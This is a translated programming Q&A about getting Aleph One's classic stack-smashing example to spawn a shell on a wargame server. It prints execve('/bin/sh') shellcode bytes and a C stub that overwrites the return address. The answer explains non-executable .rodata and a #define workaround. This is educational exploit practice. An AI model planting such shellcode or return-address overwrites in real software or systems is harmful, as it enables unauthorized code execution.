简单的缓冲区溢出和shellcode示例

Jja*_*ang 8 c security buffer-overflow shellcode

我一直试图运行Aleph One的例子来获得BOF并打开一个shell.

这是Aleph One论文:http://insecure.org/stf/smashstack.html

这是简单的C代码(几乎位于论文的一半):

char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
}
Run Code Online (Sandbox Code Playgroud)

现在,我尝试在SSH bash中运行此程序,但没有成功.

由于运行后没有任何反应,我猜测我只是没有写回程地址,所以我使用GDB来查看ret变量和实际返回地址之间的偏移量,并意识到它是7.

为了检查自己,我尝试增加3,4,5,6中的ret,实际上,只有当我将第10行更改为:

   ret = (int *)&ret + 7;
Run Code Online (Sandbox Code Playgroud)

我遇到了分段错误.

但是,我不明白为什么没有打开bash而我得到了这个错误.

PS我正在使用'logic smashthestack'SSH服务器(其中一个挑战是BOF):http://logic.smashthestack.org:88 /

谢谢你的帮助.

qwr*_*qwr 5

来自http://blog.markloiseau.com/2012/06/64-bit-linux-shellcode/:

这个存根是经典shellcode测试存根的更新版本,有一个关键区别:在新存根中,shellcode在编译时是#defined,因此可以通过gcc的预处理器直接放入主程序中.

这是必要的,因为随着时间的推移,Linux和GCC对可执行文件的哪些部分可以包含可执行代码(与非可执行变量相对)变得更加谨慎.该程序的传统版本不适用于较新版本的Linux:

经典的shellcode c stub将在较新的系统上生成段错误,因为shellcode []字符数组存储在ELF文件的显式非可执行.rodata部分中.当计算机将非可执行数组重新编译为函数并尝试运行它时,程序崩溃

.还要注意编写shellcode的这些更改:

//old way
char[] shellcode ="shellcode..."
//new way
#define SHELLCODE "shellcode
Run Code Online (Sandbox Code Playgroud)